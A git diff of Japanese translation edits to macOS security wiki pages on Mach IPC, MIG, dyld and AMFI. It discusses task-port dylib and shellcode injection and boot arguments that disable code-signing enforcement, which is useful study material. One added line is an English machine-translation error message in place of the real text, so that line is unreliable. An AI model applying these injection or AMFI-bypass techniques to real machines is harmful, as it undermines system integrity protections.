+スレッドにも関連するポートがあり、これは**`task_threads`**を呼び出すタスクや`processor_set_threads`を持つプロセッサから見ることができます。スレッドポートに対するSEND権を持つと、`thread_act`サブシステムの関数を使用できます。例えば:
- `thread_terminate`
- `thread_[get/set]_state`
@@ -768,7 +768,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
> [!TIP]
-> これがiOSで機能するためには、書き込み可能なメモリ実行可能ファイルを作成するために`dynamic-codesigning`の権限が必要です。
+> これをiOSで動作させるには、書き込み可能なメモリ実行可能ファイルを作成するために、`dynamic-codesigning`の権限が必要です。
### タスクポート経由のスレッドでのDylibインジェクション
@@ -776,9 +776,9 @@ macOSでは、**スレッド**は**Mach**を介して、または**posix `pthrea
**posix**準拠のapiを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入することが可能でした**。しかし、**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。
-したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。その後、この新しいpthreadは**dlopenを呼び出して**システムから**dylibをロード**することができるため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
+したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。したがって、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
-**例のdylibs**は以下にあります(例えば、ログを生成し、その後リスニングできるもの):
+**例のdylibs**は次の場所にあります(例えば、ログを生成し、その後リッスンできるもの):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@@ -1076,15 +1076,15 @@ macos-thread-injection-via-task-port.md
## 例外ポート
-スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、これはlaunchdによって管理されます(ここで承認されます)。これを例外トリアージと呼びます。
+スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、launchdによって管理されます(ここで承認されます)。これを例外トリアージと呼びます。
通常、適切に処理されない場合、レポートはReportCrashデーモンによって処理されることになります。ただし、同じタスク内の別のスレッドが例外を管理することも可能であり、これが `PLCreashReporter` のようなクラッシュレポートツールが行うことです。
## その他のオブジェクト
-### クロック
+### 時計
-任意のユーザーはクロックに関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするにはrootである必要があります。
+任意のユーザーは時計に関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするには、rootである必要があります。
情報を取得するためには、`clock` サブシステムの関数を呼び出すことができます: `clock_get_time`、`clock_get_attributtes` または `clock_alarm`\
値を変更するためには、`clock_priv` サブシステムを使用し、`clock_set_time` や `clock_set_attributes` のような関数を使用できます。
@@ -1093,7 +1093,7 @@ macos-thread-injection-via-task-port.md
プロセッサAPIは、`processor_start`、`processor_exit`、`processor_info`、`processor_get_assignment` などの関数を呼び出すことで、単一の論理プロセッサを制御することを可能にします。
-さらに、**プロセッサセット** APIは、複数のプロセッサをグループにまとめる方法を提供します。**`processor_set_default`** を呼び出すことで、デフォルトのプロセッサセットを取得できます。\
+さらに、**プロセッサセット** APIは、複数のプロセッサをグループ化する方法を提供します。**`processor_set_default`** を呼び出すことで、デフォルトのプロセッサセットを取得できます。\
プロセッサセットと対話するための興味深いAPIは以下の通りです:
- `processor_set_statistics`
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 379108912..11e942f5b 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -10,7 +10,7 @@ MIGは**Mach IPC**コード作成のプロセスを**簡素化するために作
これらの定義には5つのセクションがあります:
-- **サブシステム宣言**:キーワードのsubsystemは、**名前**と**ID**を示すために使用されます。また、サーバーがカーネルで実行される必要がある場合は、**`KernelServer`**としてマークすることも可能です。
+- **サブシステム宣言**:キーワードのsubsystemは、**名前**と**ID**を示すために使用されます。また、サーバーがカーネルで実行されるべき場合は、**`KernelServer`**としてマークすることも可能です。
- **インクルードとインポート**:MIGはCプリプロセッサを使用しているため、インポートを使用できます。さらに、ユーザーまたはサーバー生成コードのために`uimport`および`simport`を使用することも可能です。
- **型宣言**:データ型を定義することが可能ですが、通常は`mach_types.defs`および`std_types.defs`をインポートします。カスタムのものにはいくつかの構文を使用できます:
- \[i`n/out]tran:受信メッセージまたは送信メッセージから翻訳する必要がある関数
@@ -40,19 +40,19 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
-最初の**引数はバインドするポート**であり、MIGは**応答ポートを自動的に処理します**(クライアントコードで`mig_get_reply_port()`を呼び出さない限り)。さらに、**操作のIDは**指定されたサブシステムIDから**連続的**に始まります(したがって、操作が非推奨の場合は削除され、`skip`が使用されてそのIDを引き続き使用します)。
+最初の**引数はバインドするポート**であり、MIGは**応答ポートを自動的に処理します**(クライアントコードで`mig_get_reply_port()`を呼び出さない限り)。さらに、**操作のIDは**指定されたサブシステムIDから**順次**始まります(したがって、操作が非推奨の場合は削除され、`skip`が使用されてそのIDを引き続き使用します)。
-次に、MIGを使用して、Subtract関数を呼び出すために相互に通信できるサーバーおよびクライアントコードを生成します:
+次に、MIGを使用して、Subtract関数を呼び出すために相互に通信できるサーバーとクライアントコードを生成します:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
現在のディレクトリにいくつかの新しいファイルが作成されます。
> [!TIP]
-> より複雑な例は、システムで `mdfind mach_port.defs` を使用して見つけることができます。\
-> また、ファイルと同じフォルダーから `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` を使用してコンパイルできます。
+> より複雑な例は、次のコマンドでシステム内で見つけることができます: `mdfind mach_port.defs`\
+> また、次のコマンドでファイルと同じフォルダーからコンパイルできます: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
-ファイル **`myipcServer.c`** と **`myipcServer.h`** には、受信したメッセージIDに基づいて呼び出す関数を定義する構造体 **`SERVERPREFmyipc_subsystem`** の宣言と定義があります(開始番号は500と指定しました):
+ファイル **`myipcServer.c`** と **`myipcServer.h`** には、受信したメッセージIDに基づいて呼び出す関数を定義する構造体 **`SERVERPREFmyipc_subsystem`** の宣言と定義があります(開始番号は500と指定しました):
{{#tabs}}
{{#tab name="myipcServer.c"}}
@@ -89,7 +89,7 @@ routine[1];
{{#endtab}}
{{#endtabs}}
-前述の構造に基づいて、関数 **`myipc_server_routine`** は **メッセージID** を取得し、呼び出すべき適切な関数を返します:
+前述の構造に基づいて、関数 **`myipc_server_routine`** は **メッセージID** を取得し、呼び出すべき適切な関数を返します:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@@ -104,9 +104,9 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
-この例では、定義の中で1つの関数のみを定義していますが、もし他の関数を定義していた場合、それらは**`SERVERPREFmyipc_subsystem`**の配列の中にあり、最初のものはID **500**に、2番目のものはID **501**に割り当てられていたでしょう...
+この例では、定義の中で1つの関数のみを定義していますが、もし他の関数を定義していた場合、それらは**`SERVERPREFmyipc_subsystem`**の配列内にあり、最初のものはID **500**に、2番目のものはID **501**に割り当てられていました...
-関数が**返信**を送信することが期待されている場合、関数`mig_internal kern_return_t __MIG_check__Reply__`も存在します。
+関数が**reply**を送信することが期待されている場合、関数`mig_internal kern_return_t __MIG_check__Reply__`も存在します。
実際、この関係は**`myipcServer.h`**の構造体**`subsystem_to_name_map_myipc`**(他のファイルでは**`subsystem*to_name_map*\***`\*\*)で特定することが可能です:
```c
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -217,25 +217,25 @@ USERPREFSubtract(port, 40, 2);
### NDR_record
-NDR_recordは`libsystem_kernel.dylib`によってエクスポートされる構造体で、MIGが**システムに依存しないデータを変換する**ことを可能にします。MIGは異なるシステム間で使用されることを想定して設計されているため(同じマシン内だけではなく)。
+NDR_recordは`libsystem_kernel.dylib`によってエクスポートされる構造体で、MIGが**データを変換できるようにする**ためのもので、異なるシステム間で使用されることを想定しています(同じマシン内だけではなく)。
これは興味深いことで、バイナリ内に依存関係として`_NDR_record`が見つかると(`jtool2 -S | grep NDR`または`nm`)、そのバイナリがMIGクライアントまたはサーバーであることを意味します。
-さらに、**MIGサーバー**は`__DATA.__const`(macOSカーネルでは`__CONST.__constdata`、他の\*OSカーネルでは`__DATA_CONST.__const`)にディスパッチテーブルを持っています。これは**`jtool2`**を使ってダンプできます。
+さらに、**MIGサーバー**は`__DATA.__const`(macOSカーネルでは`__CONST.__constdata`、他の\*OSカーネルでは`__DATA_CONST.__const`)にディスパッチテーブルを持っています。これは**`jtool2`**でダンプできます。
-そして、**MIGクライアント**は`__mach_msg`を使ってサーバーに送信するために`__NDR_record`を使用します。
+そして、**MIGクライアント**は`__mach_msg`を使用してサーバーに送信するために`__NDR_record`を使用します。
## バイナリ分析
### jtool
-多くのバイナリが現在MIGを使用してmachポートを公開しているため、**MIGが使用されたことを特定する方法**と**各メッセージIDでMIGが実行する関数**を知ることは興味深いです。
+多くのバイナリがMIGを使用してmachポートを公開しているため、**MIGが使用されたことを特定する方法**と**各メッセージIDでMIGが実行する関数**を知ることは興味深いです。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2)は、Mach-OバイナリからMIG情報を解析し、メッセージIDを示し、実行する関数を特定できます。
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-さらに、MIG関数は実際に呼び出される関数のラッパーに過ぎないため、その逆アセンブルを取得し、BLをgrepすることで、実際に呼び出される関数を見つけることができるかもしれません:
+さらに、MIG関数は実際に呼び出される関数のラッパーに過ぎないため、その逆アセンブルを取得し、BLをgrepすることで、実際に呼び出される関数を見つけることができるかもしれません。
```bash
jtool2 -d __DATA.__const myipc_server | grep BL
```
@@ -250,21 +250,21 @@ jtool2 -d __DATA.__const myipc_server | grep BL
var_10 = arg0;
var_18 = arg1;
// 正しい関数ポインタを見つけるための初期命令
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// sign_extend_64への呼び出しはこの関数を特定するのに役立ちます
// これにより、呼び出す必要があるポインタがraxに格納されます
-// アドレス0x100004040(関数アドレス配列)の使用を確認します
+// アドレス0x100004040(関数アドレス配列)の使用を確認してください
// 0x1f4 = 500(開始ID)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
-// if - else、ifがfalseを返す場合、elseは正しい関数を呼び出してtrueを返します
+// if - else、ifはfalseを返し、elseは正しい関数を呼び出してtrueを返します
if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 正しい関数ポインタを見つけるための初期命令
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500(開始ID)
r8 = r8 - 0x1f4;
@@ -328,13 +328,13 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// 前のバージョンと同じif else
-// アドレス0x100004040(関数アドレス配列)の使用を確認します
- if ((r8 & 0x1) == 0x0) {
+// アドレス0x100004040(関数アドレス配列)の使用を確認してください
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
@@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
-実際、関数**`0x100004000`**に行くと、**`routine_descriptor`**構造体の配列が見つかります。構造体の最初の要素は**関数**が実装されている**アドレス**であり、**構造体は0x28バイト**を占めるため、0から始まる各0x28バイトごとに8バイトを取得すると、それが呼び出される**関数のアドレス**になります。
+実際、関数**`0x100004000`**に行くと、**`routine_descriptor`**構造体の配列が見つかります。構造体の最初の要素は**関数**が実装されている**アドレス**であり、**構造体は0x28バイト**を占めるため、0バイトから始まる各0x28バイトごとに8バイトを取得すると、それが呼び出される**関数のアドレス**になります。
.png)
@@ -375,7 +375,7 @@ return r0;
### Debug
-MIGによって生成されたコードは、`kernel_debug`を呼び出して、エントリおよびエグジットに関する操作のログを生成します。これらは**`trace`**または**`kdv`**を使用して確認できます:`kdv all | grep MIG`
+MIGによって生成されたコードは、`kernel_debug`を呼び出して、エントリとエグジットの操作に関するログを生成します。これらは**`trace`**または**`kdv`**を使用して確認できます:`kdv all | grep MIG`
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index ffbc874cc..ffeb0c42d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -4,7 +4,7 @@
## 基本情報
-Mach-o バイナリの実際の **entrypoint** は動的リンクされており、`LC_LOAD_DYLINKER` で定義されており、通常は `/usr/lib/dyld` です。
+Mach-o バイナリの実際の **エントリポイント** は動的にリンクされており、`LC_LOAD_DYLINKER` で定義されており、通常は `/usr/lib/dyld` です。
このリンカーはすべての実行可能ライブラリを見つけ、メモリにマッピングし、すべての非遅延ライブラリをリンクする必要があります。このプロセスの後にのみ、バイナリのエントリポイントが実行されます。
@@ -15,7 +15,7 @@ Mach-o バイナリの実際の **entrypoint** は動的リンクされており
### フロー
-Dyld は **`dyldboostrap::start`** によってロードされ、**スタックカナリア** などのものもロードされます。これは、この関数が **`apple`** 引数ベクターにこの他の **機密** **値** を受け取るためです。
+Dyld は **`dyldboostrap::start`** によってロードされ、**スタックカナリア** などのものもロードされます。これは、この関数が **`apple`** 引数ベクターにこのおよび他の **機密** **値** を受け取るためです。
**`dyls::_main()`** は dyld のエントリポイントであり、最初のタスクは `configureProcessRestrictions()` を実行することです。これは通常、以下で説明されている **`DYLD_*`** 環境変数を制限します。
@@ -28,7 +28,7 @@ Dyld は **`dyldboostrap::start`** によってロードされ、**スタック
1. `DYLD_INSERT_LIBRARIES` で挿入されたライブラリのロードを開始します(許可されている場合)
2. 次に、共有キャッシュされたもの
3. 次に、インポートされたもの
-1. 次に、ライブラリを再帰的にインポートし続けます
+4. その後、ライブラリのインポートを再帰的に続けます
すべてがロードされると、これらのライブラリの **初期化子** が実行されます。これらは、`LC_ROUTINES[_64]`(現在は非推奨)で定義された **`__attribute__((constructor))`** を使用してコーディングされるか、`S_MOD_INIT_FUNC_POINTERS` フラグが付けられたセクション内のポインタによってコーディングされます(通常は **`__DATA.__MOD_INIT_FUNC`**)。
@@ -38,19 +38,19 @@ Dyld は **`dyldboostrap::start`** によってロードされ、**スタック
macOS のすべてのバイナリは動的にリンクされています。したがって、異なるマシンやコンテキストでバイナリが正しいコードにジャンプするのを助けるスタブセクションが含まれています。バイナリが実行されるとき、これらのアドレスを解決する必要があるのは dyld です(少なくとも非遅延のもの)。
-バイナリ内のスタブセクション:
+バイナリ内のいくつかのスタブセクション:
- **`__TEXT.__[auth_]stubs`**: `__DATA` セクションからのポインタ
- **`__TEXT.__stub_helper`**: 呼び出す関数に関する情報を持つ動的リンクを呼び出す小さなコード
-- **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(インポートされた関数へのアドレス、解決されたとき、(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` でマークされます)
-- **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` でマークされます)
+- **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(インポートされた関数へのアドレス、解決されたとき、(ロード時にバインドされ、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
+- **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされ、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
- **`__DATA.__la_symbol_ptr`**: 遅延シンボルポインタ(最初のアクセス時にバインドされます)
> [!WARNING]
-> "auth\_" プレフィックスの付いたポインタは、保護のためにプロセス内暗号化キーを使用しています(PAC)。さらに、ポインタを追跡する前に検証するために arm64 命令 `BLRA[A/B]` を使用することが可能です。そして、RETA\[A/B] は RET アドレスの代わりに使用できます。\
+> "auth\_" プレフィックスの付いたポインタは、保護のためにプロセス内暗号化キーを使用しています(PAC)。さらに、arm64 命令 `BLRA[A/B]` を使用してポインタを確認することができます。そして、RETA\[A/B] は RET アドレスの代わりに使用できます。\
> 実際、**`__TEXT.__auth_stubs`** 内のコードは、ポインタを認証するために要求された関数を呼び出すために **`braa`** を使用します。
>
-> また、現在の dyld バージョンは **すべてを非遅延** としてロードします。
+> また、現在の dyld バージョンは **すべてを非遅延としてロード** します。
### 遅延シンボルの検索
```c
@@ -68,7 +68,7 @@ printf("Hi\n");
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
-`printf`へのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります:
+`printf`を呼び出すためのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります。
```bash
objdump --section-headers ./load
@@ -82,7 +82,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
-**`__stubs`** セクションの逆アセンブルで:
+**`__stubs`** セクションの逆アセンブルでは:
```bash
objdump -d --section=__stubs ./load
@@ -95,17 +95,17 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
-あなたは、**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。
+あなたは**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。
他の状況では、直接GOTにジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これが**`__DATA.__nl_symbol_ptr`**にジャンプし、**`dyld_stub_binder`**のアドレスを含んでいます。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\
-この最後の関数は、検索された関数のアドレスを見つけた後、将来のルックアップを避けるために**`__TEXT.__stub_helper`**の対応する場所に書き込みます。
+この最後の関数は、検索された関数のアドレスを見つけた後、それを**`__TEXT.__stub_helper`**の対応する位置に書き込み、将来のルックアップを避けます。
> [!TIP]
> ただし、現在のdyldバージョンはすべてを非遅延でロードすることに注意してください。
-#### Dyld opcodes
+#### Dyldオペコード
-最後に、**`dyld_stub_binder`**は指定された関数を見つけて、再度検索しないように適切なアドレスに書き込む必要があります。そのために、dyld内でオペコード(有限状態機械)を使用します。
+最後に、**`dyld_stub_binder`**は指定された関数を見つけて、再度検索しないように適切なアドレスに書き込む必要があります。そのために、dyld内のオペコード(有限状態機械)を使用します。
## apple\[] 引数ベクター
@@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
-申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。
+I'm sorry, but I cannot provide a translation without the specific text you would like translated. Please provide the relevant English text, and I will translate it to Japanese as per your guidelines.
```
0: executable_path=./a
1:
@@ -135,9 +135,9 @@ printf("%d: %s\n", i, apple[i])
11: th_port=
```
> [!TIP]
-> これらの値がメイン関数に到達する頃には、機密情報はすでに削除されているか、データ漏洩が発生しているでしょう。
+> これらの値がメイン関数に到達する時点で、機密情報はすでに削除されているか、データ漏洩が発生している可能性があります。
-メインに入る前にデバッグしてこれらの興味深い値をすべて見ることができます:
+メインに入る前にデバッグしてこれらの興味深い値を確認することができます:
lldb ./apple
@@ -180,17 +180,17 @@ printf("%d: %s\n", i, apple[i])
## dyld_all_image_infos
-これは、バージョン、dyld_image_info 配列へのポインタ、dyld_image_notifier、プロセスが共有キャッシュから切り離されているかどうか、libSystem 初期化子が呼び出されたかどうか、dyls の Mach ヘッダーへのポインタ、dyld バージョン文字列へのポインタなどの情報を含む、dyld によってエクスポートされた構造体です。
+これは、dyldの状態に関する情報を持つ構造体で、[**ソースコード**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)で見つけることができ、バージョン、dyld_image_info配列へのポインタ、dyld_image_notifier、プロセスが共有キャッシュから切り離されているかどうか、libSystem初期化子が呼び出されたかどうか、dyls自身のMachヘッダーへのポインタ、dyldバージョン文字列へのポインタなどの情報が含まれています。
## dyld 環境変数
### debug dyld
-dyld が何をしているのかを理解するのに役立つ興味深い環境変数:
+dyldが何をしているのかを理解するのに役立つ興味深い環境変数:
- **DYLD_PRINT_LIBRARIES**
-読み込まれた各ライブラリを確認します:
+読み込まれている各ライブラリを確認します:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@@ -245,7 +245,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
- **DYLD_PRINT_INITIALIZERS**
-各ライブラリの初期化子が実行されるときに印刷します:
+各ライブラリの初期化子が実行されるときに印刷します:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@@ -264,7 +264,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_BINDINGS`: バインドされたときにシンボルを印刷する
- `DYLD_WEAK_BINDINGS`: バインドされたときに弱いシンボルのみを印刷する
- `DYLD_PRINT_CODE_SIGNATURES`: コード署名登録操作を印刷する
-- `DYLD_PRINT_DOFS`: 読み込まれた D-Trace オブジェクト形式セクションを印刷する
+- `DYLD_PRINT_DOFS`: 読み込まれた D-Trace オブジェクトフォーマットセクションを印刷する
- `DYLD_PRINT_ENV`: dyld によって見られた環境を印刷する
- `DYLD_PRINT_INTERPOSTING`: インターポスティング操作を印刷する
- `DYLD_PRINT_LIBRARIES`: 読み込まれたライブラリを印刷する
@@ -279,7 +279,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_SHARED_REGION`: "use", "private", "avoid"
- `DYLD_USE_CLOSURES`: クロージャを有効にする
-他にも何かを使って見つけることができます:
+より多くの情報は、次のようなもので見つけることができます:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index fe3bdd18e..bcd4158ee 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -4,14 +4,14 @@
## AppleMobileFileIntegrity.kext と amfid
-これは、XNUのコード署名検証の背後にあるロジックを提供し、システム上で実行されるコードの整合性を強制することに焦点を当てています。また、権限を確認し、デバッグを許可したりタスクポートを取得したりするなどの他の敏感なタスクを処理することもできます。
+これは、システム上で実行されるコードの整合性を強制することに焦点を当てており、XNUのコード署名検証の背後にあるロジックを提供します。また、権限をチェックし、デバッグを許可したりタスクポートを取得したりするなどの他の敏感なタスクを処理することもできます。
-さらに、一部の操作において、kextはユーザースペースで実行されているデーモン `/usr/libexec/amfid` に連絡することを好みます。この信頼関係は、いくつかの脱獄で悪用されてきました。
+さらに、いくつかの操作において、kextはユーザースペースで実行されているデーモン `/usr/libexec/amfid` に連絡することを好みます。この信頼関係は、いくつかの脱獄で悪用されてきました。
-AMFIは **MACF** ポリシーを使用し、起動時にフックを登録します。また、その読み込みやアンロードを防ぐと、カーネルパニックを引き起こす可能性があります。ただし、AMFIを弱体化させるいくつかのブート引数があります:
+AMFIは **MACF** ポリシーを使用し、起動時にフックを登録します。また、その読み込みやアンロードを防ぐと、カーネルパニックが発生する可能性があります。ただし、AMFIを弱体化させるいくつかのブート引数があります:
- `amfi_unrestricted_task_for_pid`: 必要な権限なしで task_for_pid を許可
-- `amfi_allow_any_signature`: すべてのコード署名を許可
+- `amfi_allow_any_signature`: 任意のコード署名を許可
- `cs_enforcement_disable`: コード署名の強制を無効にするためのシステム全体の引数
- `amfi_prevent_old_entitled_platform_binaries`: 権限のあるプラットフォームバイナリを無効にする
- `amfi_get_out_of_my_way`: amfi を完全に無効にする
@@ -22,23 +22,23 @@ AMFIは **MACF** ポリシーを使用し、起動時にフックを登録しま
- **`cred_label_associate`**: AMFIのmacラベルスロットをラベルで更新
- **`cred_label_destroy`**: AMFIのmacラベルスロットを削除
- **`cred_label_init`**: AMFIのmacラベルスロットに0を移動
-- **`cred_label_update_execve`:** プロセスの権限を確認し、ラベルを変更することが許可されるかどうかを判断します。
-- **`file_check_mmap`:** mmapがメモリを取得し、実行可能として設定しているかを確認します。その場合、ライブラリの検証が必要かどうかを確認し、必要であればライブラリ検証関数を呼び出します。
-- **`file_check_library_validation`**: ライブラリ検証関数を呼び出し、他のプラットフォームバイナリを読み込んでいるか、プロセスと新しく読み込まれたファイルが同じTeamIDを持っているかなどを確認します。特定の権限により、任意のライブラリを読み込むことも許可されます。
+- **`cred_label_update_execve`:** プロセスの権限をチェックし、ラベルの変更が許可されるべきかを確認します。
+- **`file_check_mmap`:** mmapがメモリを取得し、実行可能として設定しているかをチェックします。その場合、ライブラリの検証が必要かどうかを確認し、必要であればライブラリ検証関数を呼び出します。
+- **`file_check_library_validation`**: ライブラリ検証関数を呼び出し、プラットフォームバイナリが別のプラットフォームバイナリを読み込んでいるか、プロセスと新しく読み込まれたファイルが同じTeamIDを持っているかなどを確認します。特定の権限により、任意のライブラリを読み込むことも許可されます。
- **`policy_initbsd`**: 信頼されたNVRAMキーを設定
-- **`policy_syscall`**: バイナリに制限のないセグメントがあるか、環境変数を許可するかなど、DYLDポリシーを確認します...これは、`amfi_check_dyld_policy_self()`を介してプロセスが開始されるときにも呼び出されます。
-- **`proc_check_inherit_ipc_ports`**: プロセスが新しいバイナリを実行する際、他のプロセスがプロセスのタスクポートに対してSEND権を持っている場合、それを保持するかどうかを確認します。プラットフォームバイナリは許可され、`get-task-allow`権限がそれを許可し、`task_for_pid-allow`権限が許可され、同じTeamIDを持つバイナリも許可されます。
